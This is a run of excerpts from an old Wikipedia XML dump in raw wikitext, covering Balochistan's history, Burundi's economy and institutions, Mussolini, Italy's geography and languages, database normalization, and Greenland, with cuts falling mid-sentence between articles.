than possible Pakistani rule. Indeed, the British had given many Princely States the choice of either [[India]], Pakistan or independence during the immediate pre-partition period (though they were worried of having too many independent nations). There were two devastating earthquakes in Balochistan during the British colonial rule. The [[1935 Balochistan Earthquake]] devasted [[Quetta]]. The [[1945 Balochistan Earthquake]] occured in [[Makran]] region and was felt in other regions of [[South Asia]]. ===Post Independence=== When the British eventually gave India (and the newly-created Pakistan) independence in August [[1947]] Mir Ahmed Yar Khan declared Kalat's independence. Though this was not a Baloch-wide movement, many Baloch chiefs sympathised with the idea. In April [[1948]] the Pakistani army was brought in, and Mir Ahmed Yar Khan signed an accession agreement ending Kalat's de facto independence. His brother, Prince Abdul Karim, decided to carry on the struggle. Basing himself in [[Afghanistan]] he conducted a [[guerrilla warfare|guerrilla war]] against the Pakistani army. However, this eventually failed. Parts of Balochistan were held by [[Oman]] as late as the [[1950s]], but they were eventually turned over to Pakistan. Included in these areas is the coastal city of [[Gwadar]]. In [[1955]] the provinces of West Pakistan (excluding areas of Pakistani-hled Kashmir) were amalgamated into one unit. This was resented by many Baloch, as well as other peoples in Pakistan such as the Pashtuns. The One Unit measure was seen as a [[Punjabi]] centralising move aimed at removing power from the provinces. This resulted in a Baloch uprising, with several battles between Balochs and the Pakistani army. A guerrilla war continued on into the [[1960s]], with several large-scale battles in [[1964]]-[[1965|65]]. This continued sporadically until the one unit was finally abolished in [[1970]]. In [[1973]], Pakistan's ruler [[Zulfikar Ali Bhutto]] dismissed Balochistan's provincial government. He said that [[Soviet]] guns and ammunition had been being found in [[Islamabad]] destined for Balochistan. Bhutto informed US president [[Richard Nixon]] of the find. The Balochs were furious at the move and rose up against the Pakistanis. Eventually around 80,000 Pakistani troops were called in to quell the large uprising. Balochs attacked oil surveyors and cut roads. The largest confrontation took place in September [[1974]] when around 15,000 Balochs fought the [[Pakistani Army]], which was armed with planes and helicopters. After three days of fighting the Balochs were running out of ammunition and so withdrew. After this there was a continued guerrilla war, with some basing themselves in Afghanistan (the Afghan government complied with this and offered some financial support). In [[1977]] General [[Muhammad Zia-ul-Haq]] took over in Pakistan. Announcing victory in Balochistan, he withdrew troops. By this time around 9000 - 10,000 people had died. The uprising itself had suffered from a lack of direction. Some Baloch wanted independence, others only greater [[self-governance|autonomy]] within Pakistan. Attacks were organised by individual Baloch chiefs, rather than an organised Baloch-wide attack. Also, the Baloch hoped to get the support of the [[USSR]], which never happened. Also, the large Pashtun minority in Balcohistan did not take part and were hostile to the idea of an independent Balochistan. Since the [[1970s]] there has been some small-scale violence. The area had been badly affected by fighting and instability in Afghanistan, with arms and refugees flooding the province. Small attacks have occurred against coal-miners and oil prospectors. In [[1998]] Pakistan conducted nuclear tests in Balochistan. Since 2003 Baloch chiefs have once again begun their armed struggle against what they feel as usurping of their rights against the Pakistan Army. Reports of serious clashes involving air power in the area have once again put this place under the news. In January 2006, [[Indymedia]] released on its website a 14 minute long amateur video purportedly recorded on March 17 2005 in the town of [[Dera Bugti]], that shows a number of dead bodies including children and signs of mortar shelling. In the video it is alleged that 60 people were killed in the fighting between Baloch nationalists and Pakistani army/security forces that took place that day. [http://video.indymedia.org/en/2006/01/260.shtml] == Administrative division == [[Image:Balochistan Tehsils.jpg|right|thumb|350px|The districts and tehsils of Balochistan]] There are 26 districts in Balochistan. &lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt; * [[Awaran]] * [[Barkhan]] * [[Bolan]] * [[Chagai]] * [[Dera Bugti]] * [[Gwadar District|Gwadar]] * [[Jafarabad]] * [[Jhal Magsi]] * [[Kalat]] * [[Kharan]] * [[Kohlu]] * [[Khuzdar]] * [[Qilla Abdullah]] &lt;/td&gt;&lt;td valign=top&gt; * [[Qilla Saifullah]] * [[Lasbela]] * [[Loralai]] * [[Mastung]] * [[Musakhel]] * [[Nasirabad]] * [[Panjgur]] * [[Pishin]] * [[Quetta]] * [[Sibi]] * [[Turbat]] or [[Kech]] * [[Zhob]] * [[Ziarat]] &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; ==Economy== The economy of the province is largely based upon the production of natural gas, coal and minerals. The province's natural resources significantly help to meet the energy needs of Pakistan as a whole, but mainly benefit Pashtun mine workers as opposed to the more nomadic Baluch. Infrastructure outside of [[Quetta]] is still in development as is the province as a whole. Tourism remains limited but has increased due to the exotic appeal of the province. Limited farming in the east as well as fishing along the [[Arabian Sea]] coastline are other forms of income and sustenance for the local populations. Due to the tribal lifestyle of many Baluch and Brahui, animal husbandry is important as are trading bazaars found throughout the province. Though the province remains underdeveloped, changes are coming as plans for pipelines running from Iran to India as well Central Asian pipelines are all envisioned to be built in Balochistan. ==Education== There are five main public universities in Balochistan, but there many private also in setting up to deliver the increasing demands for the province. * [[Balochistan University of Engineering and Technology]] * [[Balochistan University of Information Technology and Management Sciences]] * [[Command and Staff College]] * [[Sardar Bahadur Khan Women University]] * [[University of Balochistan]] {{sect-stub}} ==Social issues== The delicate ethnic balance in the province was disrupted by Afghan refugees making the Pashtuns at least numerically equal to the Baloch in recent years. The Baloch tribes have been the most prone to rebellion in Pakistan, in part due to their fiercely independent lifestyle as well as complaints at the lack of development and attention from the central government in [[Islamabad]]. These complaints have been partially addressed as the government has set-up schools and improved infrastructure near major settlements. Balochistan remains one of the most conservative provinces in Pakistan and women are expected to wear the [[hijab]] unlike in many large cities where there are fewer restrictions. The Baloch adhere to a clan-like structure and code of honor called ''mayar'' that bears some resemblance to [[Pashtunwali]], but with significa
ding point. The trade [[embargo]], lifted in 1999, negatively impacted trade and industry. Since October 1993 the nation has suffered from massive ethnic-based violence which has resulted in the death of perhaps 250,000 persons and the displacement of about 800,000 others. Foods, medicines, and electricity remain in short supply. Burundi is heavily dependent on bilateral and multilateral aid, with external debt totalling $1.247 [[billion]] (1.247 G$) in 1997. A series of largely unsuccessful 5-year plans initiated in July 1986 in partnership with the World Bank and the International Monetary Fund attempted to reform the foreign exchange system, liberalize imports, reduce restrictions on international transactions, diversify exports, and reform the coffee industry. IMF structural adjustment programs in Burundi were suspended following the outbreak of the crisis in 1993. The World Bank has identified key areas for potential growth, including the productivity of traditional crops and the introduction of new exports, light manufactures, industrial mining, and services. Other serious problems include the state's role in the economy, the question of governmental transparency, and debt reduction. To protest the 1996 coup by President [[Pierre Buyoya]], neighbouring countries imposed an economic embargo on Burundi. Although the embargo was never officially ratified by the [[United Nations Security Council]], most countries refrained from official trade with Burundi. Following the 1996 coup, the [[United States]] suspended all but humanitarian aid to Burundi. The regional embargo was lifted on January 23, 1999, based on progress by the government in advancing national reconciliation through the Burundi peace process. ==References== *[http://www.cia.gov/cia/publications/factbook/geos/by.html CIA World Fact book] :''See also :'' [[Burundi]] [[Category:Burundi]] [[Category:Economies by country|Burundi]] [[Category:African Union member economies|Burundi]] [[es:Economía de Burundi]]</text> </revision> </page> <page> <title>Communications in Burundi</title> <id>3699</id> <revision> <id>29727160</id> <timestamp>2005-11-30T20:41:34Z</timestamp> <contributor> <username>Tedernst</username> <id>3700</id> </contributor> <comment>disambiguation link repair [[broadcast]] ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment> <text xml:space="preserve">'''[[Telephone]]s - main lines in use:''' 17,000 (1995) '''Telephones - mobile cellular:''' 343 (1995) '''Telephone system:''' primitive system &lt;br&gt;''domestic:'' sparse system of open wire, radiotelephone communications, and low-capacity microwave radio relay &lt;br&gt;''international:'' [[satellite]] earth station - 1 [[Intelsat]] ([[Indian Ocean]]) '''[[Radio]] [[Broadcasting|broadcast]] stations:''' [[Amplitude modulation|AM]] 2, [[FM]] 2, shortwave 0 (1998) '''Radios:''' 440,000 (1997) '''[[Television]] broadcast stations:''' 1 (1999) '''Televisions:''' 25,000 (1997) '''[[Internet Service Provider]]s (ISPs):''' NA '''[[Country codes]]:''' BI :''See also :'' [[Burundi]] [[Category:Burundi]] [[Category:Communications by country|Burundi]]</text> </revision> </page> <page> <title>Transport in Burundi</title> <id>3700</id> <revision> <id>37513963</id> <timestamp>2006-01-31T13:49:27Z</timestamp> <contributor> <username>Warofdreams</username> <id>20855</id> </contributor> <minor /> <comment>moved [[Transportation in Burundi]] to [[Transport in Burundi]]: part of a series</comment> <text xml:space="preserve">{{CIA}} '''Transportation in Burundi''' == Railways == 0 km === Railway links to adjacent countries === * [[Transportation in Rwanda|Rwanda]] - no * [[Transportation in Tanzania|Tanzania]] - no * [[Transportation in the Democratic Republic of the Congo|DR Congo]] - no == Highways == &lt;br&gt;''total:'' 14,480 km &lt;br&gt;''paved:'' 1,028 km &lt;br&gt;''unpaved:'' 13,452 km (1996 est.) == Waterways == Lake Tanganyika == Ports and harbors == Bujumbura == Airports == 4 (1999 est.) === Airports - with paved runways === &lt;br&gt;''total:'' 1 &lt;br&gt;''over 3,047 m:'' 1 (1999 est.) === Airports - with unpaved runways === &lt;br&gt;''total:'' 3 &lt;br&gt;''914 to 1,523 m:'' 2 &lt;br&gt;''under 914 m:'' 1 (1999 est.) == See also == * [[Burundi]] {{CIAfb}} {{Africa in topic|Transport in}} [[Category:Burundi]] [[Category:Transportation by country|Burundi]]</text> </revision> </page> <page> <title>Military of Burundi</title> <id>3701</id> <revision> <id>15902016</id> <timestamp>2004-09-20T01:35:18Z</timestamp> <contributor> <username>Ingoolemo</username> <id>71699</id> </contributor> <minor /> <comment>categorisation</comment> <text xml:space="preserve">'''Military of Burundi''' '''Military branches:''' Army (includes naval and air units), paramilitary Gendarmerie '''Military manpower - military age:''' 16 years of age '''Military manpower - availability:''' &lt;br&gt;''males age 15-49:'' 1,344,177 (2000 est.) '''Military manpower - fit for military service:''' &lt;br&gt;''males age 15-49:'' 701,367 (2000 est.) '''Military manpower - reaching military age annually:''' &lt;br&gt;''males:'' 76,866 (2000 est.) '''Military expenditures - dollar figure:''' $25 million (FY93) '''Military expenditures - percent of GDP:''' 2.6% (FY93) ==References and Links== *[[Burundi]] [[Category:Burundi]] [[Category:Militaries|Burundi]]</text> </revision> </page> <page> <title>Foreign relations of Burundi</title> <id>3702</id> <revision> <id>37154263</id> <timestamp>2006-01-29T01:59:00Z</timestamp> <contributor> <username>Wikiacc</username> <id>84893</id> </contributor> <minor /> <comment>{{Africa in topic|Foreign relations of}}</comment> <text xml:space="preserve">{{Politics of Burundi}} [[Burundi]]'s relations with its neighbors have often been affected by security concerns. Hundreds of thousands of Burundian refugees have at various times crossed to neighboring [[Rwanda]], [[Tanzania]], and the [[Democratic Republic of the Congo]]. Hundreds of thousands of Burundians are in neighboring countries as a result of the ongoing civil war. Most of them, more than 340,000 since [[1993]], are in Tanzania. Some Burundian rebel groups have used neighboring countries as bases for insurgent activities. The 1993 embargo placed on Burundi by regional states hurt diplomatic relations with its neighbors; relations have improved since the 1999 suspension of these sanctions. Burundi is a member of various international and regional organizations, including the [[United Nations]], the [[African Union]], and the [[African Development Bank]]. ==See also== * [[Burundi]] {{Africa-stub}} {{Africa in topic|Foreign relations of}} [[Category:Burundi]] [[Category:Foreign relations by country|Burundi, Foreign affairs of]]</text> </revision> </page> <page> <title>Bosporus</title> <id>3705</id> <revision> <id>40998218</id> <timestamp>2006-02-24T10:54:31Z</timestamp> <contributor> <ip>85.96.215.120</ip> </contributor> <text xml:space="preserve">#REDIRECT [[Bosphorus]]</text> </revision> </page> <page> <title>Benito Mussolini</title> <id>3706</id> <revision> <id>42074209</id> <timestamp>2006-03-03T17:21:01Z</timestamp> <contributor> <username>The tooth</username> <id>652482</id> </contributor> <comment>RV</comment> <text xml:space="preserve">{{redirect|Mussolini}} {{Infobox Celebrity | name = Benito Amilcare Andrea Mussolini | image = musso.jpg | caption = | birth_date = [[July 29]], [[1883]] | birth_place = Predappio near [[Forlì]], [[Emilia-Romagna]], [[Italy]] | death_date = [[April 28]], [[1945]] | death_place = [[Giulino di Mezzegra]], [[Italy]] | occupation = [[Premier]] of Italy, 1922-1943 | salary = | networth = | spouse = | website = | footnotes = }} '''Benito Amilcare Andrea Mussolini''' ([[July 29]], [[1883]] &amp;ndash; [[April 28]], [[1945]]) led [[Italy]] from 1922 to 1943. He created a [[Fascism|fascist]] state through the use of [[state terror]] and [[propaganda]]. Using his charisma, total control of the media and intimidation of political rivals, he disassembled the existing [[democracy|democratic]] government system. His entry into [[World War II]] on the side of [[Nazi Germany]] made Italy a target for [[Allies of World War II|Allied]] attacks and ultimately led to his downfall and death. ==Early years== Mussolini was born in a medium-sized village named [[Predappio]] in the province of [[Forlì]], in [[Emilia-Romagna]]. His father, Alessandro, was a [[blacksmith]]. His mother, Rosa Maltoni, was a [[teacher]] who believed education was extremely important. He was named ''Benito'' after Mexican reformist President [[Benito Juárez]]. Like his father, Benito became a [[socialism|socialist]]. By age eight, he was banned from his mother's church, and a few years later he was expelled from school, due to stabbing a fellow student in the hand and throwing an ink pot at a teacher. He did, however, receive good grades, and he qualified as an elementary schoolmaster in 1901. In 1902 he emigrated to [[Switzerland]] to escape military service. During a period when he was unable to find a permanent job there, he was arrested for [[Vagrancy (people)|vagrancy]] and jailed for one night. Later, after becoming involved in the socialist movement, he was deported and returned to Italy to do his military service. He returned to Switzerland immediately, and a second attempt to deport him was halted when Swiss socialist parliamentarians held an emergency debate to discuss his treatment. After his return
h-east, the [[Tyrrhenian Sea]] to the south-west and finally the [[Ligurian Sea]] to the north-west. The [[Apennine mountains]] form the backbone of this peninsula, leading north-west to where they join the [[Alps]], the mountain range that then forms an arc enclosing Italy from the north. Here is also found a large alluvial plain, the Po-Venetian plain, drained by the [[Po River]]--which is the Italy's biggest river--and its many tributaries flowing down from the Alps, [[Apennine]]s and [[Dolomites]]. Other well-known rivers include the [[Tiber]], [[Adige]] and [[Arno]]. Its highest point is [[Mont Blanc]] (''Monte Bianco'') at 4,810 m, but Italy is more typically associated with two famous [[volcano]]es: the currently dormant [[Vesuvius]] near [[Naples]] and the very active [[Etna]] on [[Sicily]]. [[Sicily]] and [[Sardinia]] are the two major [[island]]s of Italy ([[List of islands of Italy|comprehensive list]]). == Demographics == {{main|Demographics of Italy}} Italy is largely homogeneous in language and religion but is diverse culturally, economically, and politically. The country has the fifth-highest population density in Europe at 194 persons per square kilometre. Indigenous minority groups are small. For a country of 58.4 million people, Italy has a smaller number of migrants compared to France and Germany. Since the beginning of Roman civilisation, important ethnic groups like [[Ancient Greece|Greek]] settlers, [[Germanic peoples|Germanic]] and [[Celt|Celtic]] invaders and plunderers, and Norman colonisers have all left important impressions on the people today. However, they have all been absorbed in a homogeneous [[Italian people|Italian ethnic group]]. The number of immigrants or foreign residents in Italy have steadily increased to reach 2,402,157, according to the latest figures (1/2005) of [[ISTAT]]. They currently make up a little more than 4 % of the official total population. According to these statistics, the largest foreign minorities are [[Albanians]] (316,659), [[Moroccan]] (294,945), [[Romanian people|Romanian]] (248,849{{rf|1|Romanian}}), [[Overseas Chinese|Chinese]] (111,712), and Ukrainian (93,441). Remaining groups include those who are Tunisian, Macedonians, Serbians, and Filipinos etc. == Religion == Roman Catholicism is by far the most popular religion in the country. According to estimates by (CIA World Fact Book 2005, Italian polls, Adherents.com, BBCNews and others), it is safe to conclude that 87% of the Italian population self-identify as [[Roman Catholic]], whereas around 13% identify with either other religions or none at all. Italy also has some important pilgrimages and famous Roman Catholic churches, cathedrals and sites. According to many other books (Reference) surveys (from Gallup, Christian Science Monitor, and others) Italy can claim above 40% weekly church attendance rate. [[Image:St peters vat distance.jpg|thumb|right|300px|The [[Vatican]]]] The second largest Christian group in Italy are [[Jehovah's Witnesses]] with some 400,000 [2] active members, and are growing annually. There are few Protestant denominations in Italy, mostly Waldensians. Recent immigration from the [[North Africa]] has led to an increasing number of Muslims, but has cooled off due to larger immigration from Eastern Europe. The Muslim population currently stands at 825,000[3] (legal immigrants) or 1.4% of the population, lower than many Western European nations. Around 30,000 Jews, and 30,000 Buddhists live in Italy. == Economy == {{main|Economy of Italy}} A member of the G8 group of leading industrialised countries, it ranked as the sixth- largest economy in the world in 2004, behind the United States, Japan, Germany, UK, and France. According to the OECD, in 2004 Italy was the world's sixth-largest exporter of manufactured goods. This [[capitalism|capitalistic]] economy remains divided into a developed industrial north, dominated by private companies, and a less developed [[agriculture|agricultural]] south (with 20% unemployment). Most raw materials needed by industry and more than 75% of energy requirements are imported. Over the past decade, Italy has pursued a tight fiscal policy in order to meet the requirements of the [[Economic and Monetary Union of the European Union|Economic and Monetary Union]] and has benefited from lower interest and inflation rates. Italy joined the [[Euro]] from its conception in 1999. Italy's economic performance has at times lagged behind that of its EU partners, and the current government has enacted numerous short-term reforms aimed at improving competitiveness and long-term growth. It has moved slowly, however, on implementing certain structural reforms favoured by economists, such as lightening the high tax burden and overhauling Italy's rigid labour market and expensive [[pension]] system, because of the current economic slowdown and opposition from [[labor union|labour unions]]. *[[List of Italian companies]] == Culture == ''See the separate article: [[Culture of Italy]].'' == Languages == {{main|Languages of Italy}} The official language of Italy is [[Italian language| Standard Italian]] - a direct descendant of [[Latin]] (some 75% of Italian words are of Latin origin). When Italy was unified, in 1861, Italian existed mainly as a [[literary language]], and was spoken by less than 3% of the population. Different languages were spoken throughout Italian peninsula, many of which were [[Romance languages|romance languages]] which had developed in every region, due to political fregmentation of Italy{{rf|2|dialects}}. Indeed, each historical region of Italy had its own so-called &quot;dialect&quot; (with &quot;dialect&quot; usually meaning, improperly, a non-Italian [[romance language]]), with variants existing at the township-level. [[Image:gondola.arp.750pix.jpg|thumb|300px|[[Venice]]]] Massimo d'Azeglio, one of Cavour's ministers, is said to have stated, following Italian unification, that having created Italy, all that remained was to create Italians. Given the high number of languages spoken throughout the peninsula, it was quickly established that 'proper' or 'standard' Italian would be based on the [[Tuscan dialect|Florentine dialect]] spoken in most of [[Tuscany]] (given that it was the first region to produce authors such as [[Dante Alighieri]], who between 1308 and 1321 wrote the ''[[Divina Commedia]]''). A national education system was established - leading to a decrease in variation in the languages spoken throughout the country over time. It was not until the 1960s, with the advent of the state television broadcaster, [[RAI]], that Italian truly became broadly-known and quite standardised. Today, Italian is fully comprehensible to all throughout the country, but regional variations in the form of accents and vowel emphasis persist. In addition, particular dialects have become cherished beacons of regional variation and are becoming recently more protected (especially the Neapolitan dialect which is extensively used for the singing of popular folk-songs). Apart from standard Italian, regional variations and &quot;dialects&quot;, a number of truly separate languages do exist. In the north, the province of [[South Tyrol]] (''Südtirol'' in German, ''Alto Adige'' in Italian) is almost entirely [[German language|German]]-speaking; the area was awarded to Italy following the First World War and her defeat of the Austro-Hungarian Empire. Pockets of German speakers also persist in other north-eastern Italian regions - a remnant of the old Austrian influence on this area of Italy. In total some 300,000 or so Italians speak German as their first language and indeed identify themselves as ethnic Austrians. Some 120,000 or so people live in the [[Aosta Valley]] region, where a [[Franco-Provençal]] dialect very similar to French called ''[[Patois]]'' is spoken. About 80,000 [[Slovenian language| Slovene]]-speakers live in the north-eastern region of [[Friuli-Venezia Giulia]] near the border with Slovenia. Some 40,000 [[Ladin]]-speakers (Ladin is a [[Rhaetian languages|Rhaetian language]] spoken in the [[Dolomites|Dolomite]] mountains) also live in the [[Trentino-South Tyrol]] region and in the [[Veneto]] region. A very large community of some 700,000 people in [[Friuli]] speak [[Friulian]] - another [[Rhaetian languages|Rhaetian language]]. In the [[Molise]] region of central-south Italy some 4,000 people speak [[Serbo-Croatian]] - these are the descendants of a group of people who migrated from the Balkans in the Middle Ages. Scattered across Southern Italy are a number of some 30,000 [[Greek language|Greek]]-speakers - considered to be the last surviving traces of the region's Greek heritage (Ancient Greek colonists reached Southern Italy and Sicily about 1500 BC). Some 15,000 [[Catalan language|Catalan]] speakers reside around the area of [[Alghero]] in the north-west corner of [[Sardinia]] - believed to be the result of a migration of a large group of Catalans from [[Barcelona]] in ages past. Around 100,000 (the [[Arbëreshë]]) in Southern Italy and in central [[Sicily]] speak [[Albanian language|Albanian]] - the result of past migrations. Finally, the largest group of non-Italian speakers (some 1.6 million people) are the ones who speak [[Sardinian language| Sardinian]] - a romance language which evolved quite independently from Italian. The arrival of immigrants has generated a plethora of new languages, including [[Armenian language|Armenian]], [[Arabic language|Arabic]], [[Hindi language|Hindi]], [[Punjabi language|Punjabi]], [[Urdu language|Urdu]], [[Turkish language|Turkish]], [[Kurdish language|Kurdish]], [[Mandarin (linguistics)|Mandarin]] [[Chinese language|Chinese]], and others. Even today, variations in local accents allow people from one town to distinguish people from a neighbouring town which may be only a few miles away. There is a growing population of Jews and Muslims in Italy, many of whom speak Hebrew an
SUPPLIER_NAME&lt;/code&gt;, and therefore this table breaks 2NF. This attribute should be placed on a second table named &lt;code&gt;supplier&lt;/code&gt; comprising: SUPPLIER_NAME (PRIMARY KEY) SUPPLIER_ADDRESS In order to find if a table is in 2NF, ask whether any of the non-key attributes of the table could be derived from a subset of the composite key, rather than the whole composite key. If the answer is yes, it's not in 2NF. This is solved sometimes by using a '''correlation file,''' such as the &lt;code&gt;supplier&lt;/code&gt; table above. '''Easily understood definition:''' A unique key. A column of values that uniquely identify each row in each table. ===Third normal form=== :''See main article [[Third normal form]]'' '''Third normal form''' ('''3NF''') requires that the table is in 2NF, and that there are no non-trivial functional dependencies of non-key attributes on something other than a superset of a candidate key. A table is in 3NF if none of the non-primary key attributes is a fact about any other non-primary key attribute. In summary, all non-key attributes are mutually independent (i.e. there should not be transitive dependencies). Consider a table (in 2NF) that defines a machine part as having the following attributes. PART_NUMBER (PRIMARY KEY) MANUFACTURER_NAME MANUFACTURER_ADDRESS In this case, the manufacturer address does not belong on this table, because it is a fact about the manufacturer of the part, rather than the part itself. &lt;code&gt;MANUFACTURER_ADDRESS&lt;/code&gt; should therefore be moved into a separate table with the attributes: MANUFACTURER_NAME (PRIMARY KEY) MANUFACTURER_ADDRESS ...and the original table should be redefined as: PART_NUMBER (PRIMARY KEY) MANUFACTURER_NAME The problem with a table not being in 3NF is that for every MANUFACTURER_NAME we have to maintain a redundant MANUFACTURER_ADDRESS (i.e. an address for each part_number, rather than one for each MANUFACTURER_NAME). '''Easily understood definition:''' Ensures that each table contains unique data. In other words, it ensures that a table of customer identification data does not contain order data, and so on. ===Boyce-Codd normal form=== '''Boyce-Codd normal form''' (or '''BCNF''') requires that there are no non-trivial functional dependencies of attributes on something other than a superset of a candidate key (called a [[superkey]]). At this stage, all attributes are dependent on a key, a whole key and nothing but a key (excluding trivial dependencies, like A-&gt;A). A table is said to be in the BCNF if and only if it is in the 3NF and every non-trivial, left-irreducible functional dependency has a candidate key as its determinant. In more informal terms, a table is in BCNF if it is in 3NF and the only determinants are the candidate keys. Example of a relation that is in 3NF form but not in BCNF: Relation: {A,B,C,D} AB is a candidate key, BC is candidate key and A-&gt;C. ===Fourth normal form=== '''Fourth normal form''' (or '''4NF''') requires that there are no non-trivial multi-valued dependencies of attribute sets on something other than a superset of a candidate key. A table is said to be in 4NF if and only if it is in the BCNF and multi-valued dependencies are functional dependencies. The 4NF removes unwanted data structures: multi-valued dependencies. Consider a case where we need the record of an employee with any professional qualifications they have gained, and internal training courses they have been on (an employee may have none, one or multiple of each of these). One way to record this information would be to create a relation as follows: EMPLOYEE_ID QUALIFICATION_ID TRAINING_COURSE_ID The problem with this design is that we might have to enter employee's qualification id more than once (or leave the qualification field blank) if they have been on more than one training course, which causes ambiguity on data storage and retrieval. Therefore this table is not in 4NF. There are actually two distinct many-to-many relationships here: one between Employee and Qualification ID, and one between Employee and Training Course ID. So two separate tables should be created to capture these. employee_qualification table: EMPLOYEE_ID QUALIFICATION_ID employee_training_course table: EMPLOYEE_ID TRAINING_COURSE_ID This example has assumed that the two fields being recorded for the employees are independent; contrast a different case where for example the information to be recorded is the academic qualifications possessed by each employee, and the academic institution where the qualification was achieved. In this case the two values are not independent - it is necessary to record both the qualification and the institution (as a pair of values) in each case, and so a relation such as the following would be correct: EMPLOYEE_ID DEGREE_ID UNIVERSITY_ID And this would require no changes to fit the fourth normal form requirements. [[Ronald Fagin]] demonstrated that it is always possible to achieve 4NF (but not always desirable). [[Rissanen's theorem]] is also applicable on multi-valued dependencies. ===Fifth normal form=== '''Fifth normal form''' ('''5NF''' and also '''PJ/NF''') requires that there are no non-trivial join dependencies that do not follow from the key constraints. A table is said to be in the 5NF [[if and only if]] it is in 4NF and every join dependency in it is implied by the candidate keys. ====Fifth Normal form Example==== (Adapted from &quot;A Simple Guide to Five Normal Forms in Relational Database Theory&quot;; see [[#Further Reading|Further Reading]]) Consider the following example: {| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; border: 1px solid black&quot; |+ |- style=&quot;background-color: silver; text-align: left; vertical-align: top&quot; ! style=&quot;border: 1px solid black&quot; | Musician ! style=&quot;border: 1px solid black&quot; | Instrument ! style=&quot;border: 1px solid black&quot; | Genre |- | style=&quot;border: 1px solid black&quot; | James | style=&quot;border: 1px solid black&quot; | Piano | style=&quot;border: 1px solid black&quot; | Classical |- | style=&quot;border: 1px solid black&quot; | James | style=&quot;border: 1px solid black&quot; | Trumpet | style=&quot;border: 1px solid black&quot; | Classical |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Drums | style=&quot;border: 1px solid black&quot; | Jazz |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Piano | style=&quot;border: 1px solid black&quot; | Jazz |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Trumpet | style=&quot;border: 1px solid black&quot; | Jazz |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Clarinet | style=&quot;border: 1px solid black&quot; | Jazz |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Saxophone | style=&quot;border: 1px solid black&quot; | Jazz |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Piano | style=&quot;border: 1px solid black&quot; | Classical |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Violin | style=&quot;border: 1px solid black&quot; | Classical |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Guitar | style=&quot;border: 1px solid black&quot; | Rock |} Here we have a list of musicians and the instruments they play under a certain genre. We can take as a model that a musician plays a certain kind of music in a certain genre only if the following three conditions hold: * The musician plays the instrument. * The musician plays the genre. * The instrument is part of that genre. With these constraints it is possible to split the relation into three parts. {| align=&quot;center&quot; || {| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; border: 1px solid black&quot; |+ |- style=&quot;background-color: silver; text-align: left; vertical-align: top&quot; ! style=&quot;border: 1px solid black&quot; | Musician ! style=&quot;border: 1px solid black&quot; | Instrument |- | style=&quot;border: 1px solid black&quot; | James | style=&quot;border: 1px solid black&quot; | Piano |- | style=&quot;border: 1px solid black&quot; | James | style=&quot;border: 1px solid black&quot; | Trumpet |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Drums |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Piano |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Trumpet |- | style=&quot;border: 1px solid black&quot; | Kate | style=&quot;border: 1px solid black&quot; | Clarinet |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Saxophone |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Piano |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Violin |- | style=&quot;border: 1px solid black&quot; | Lois | style=&quot;border: 1px solid black&quot; | Guitar |} | style=&quot;width:100px&quot; | || {| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; border: 1px solid black&quot; |+ |- style=&quot;background-color: silver; text-align: left; vertical-align: top&quot; ! style=&
d, [[Peary Land]], is not covered by an [[ice sheet]], because the air there is too dry to produce [[snow]], which is essential in the production and maintenance of an ice sheet. If the [[Greenland ice sheet]] were to completely [[melt]] away, sea levels would rise more than 7 m and Greenland would most likely become an [[archipelago]]. Between [[1989]] and [[1993]], U.S. and European [[climate]] researchers drilled into the summit of Greenland's ice sheet, obtaining a pair of two-mile (3.2 km) long [[ice core]]s. Analysis of the layering and chemical composition of the cores has provided a revolutionary new record of climate change in the [[Northern Hemisphere]] going back about 100,000 years and illustrated that the world's [[weather]] and [[temperature]] have often shifted rapidly from one seemingly stable state to another, with worldwide [[climate change|consequences]]. == Economy == {{main|Economy of Greenland}} Greenland suffered economic contraction in the early [[1990s]], but since [[1993]] the economy has improved. The Greenland Home Rule Government (GHRG) has pursued a tight fiscal policy since the late [[1980s]] which has helped create surpluses in the public budget and low inflation. Since [[1990]], Greenland has registered a foreign trade deficit following the closure of the last remaining [[lead]] and [[zinc]] mine in 1990. Greenland today is critically dependent on [[fishing]] and [[fish]] exports; the [[shrimp]] fishing industry is by far the largest income earner. Despite resumption of several interesting [[hydrocarbon]] and [[minerals|mineral]] exploration activities, it will take several years before production can materialize. [[Tourism]] is the only sector offering any near-term potential and even this is limited due to a short season and high costs. The public sector, including publicly owned enterprises and the municipalities, plays the dominant role in Greenland's economy. About half the government revenues come from grants from the Danish Government, an important supplement to the [[gross domestic product]]. GDPPC is equivalent to that of the weaker economies of Europe. == Demographics == {{main|Demographics of Greenland}} == Culture == {{main|Culture of Greenland}} The Greenland National Museum and Archives[http://www.natmus.gl] is located in [[Nuuk]]. == Miscellaneous topics == *[[Communications in Greenland]] *[[Transportation in Greenland]] *[[Military of Greenland]] *[[Foreign relations of Greenland]] *[[University of Greenland]] == See also == *[[Danish colonization of the Americas]] *[[History of Denmark]] *[[List of towns in 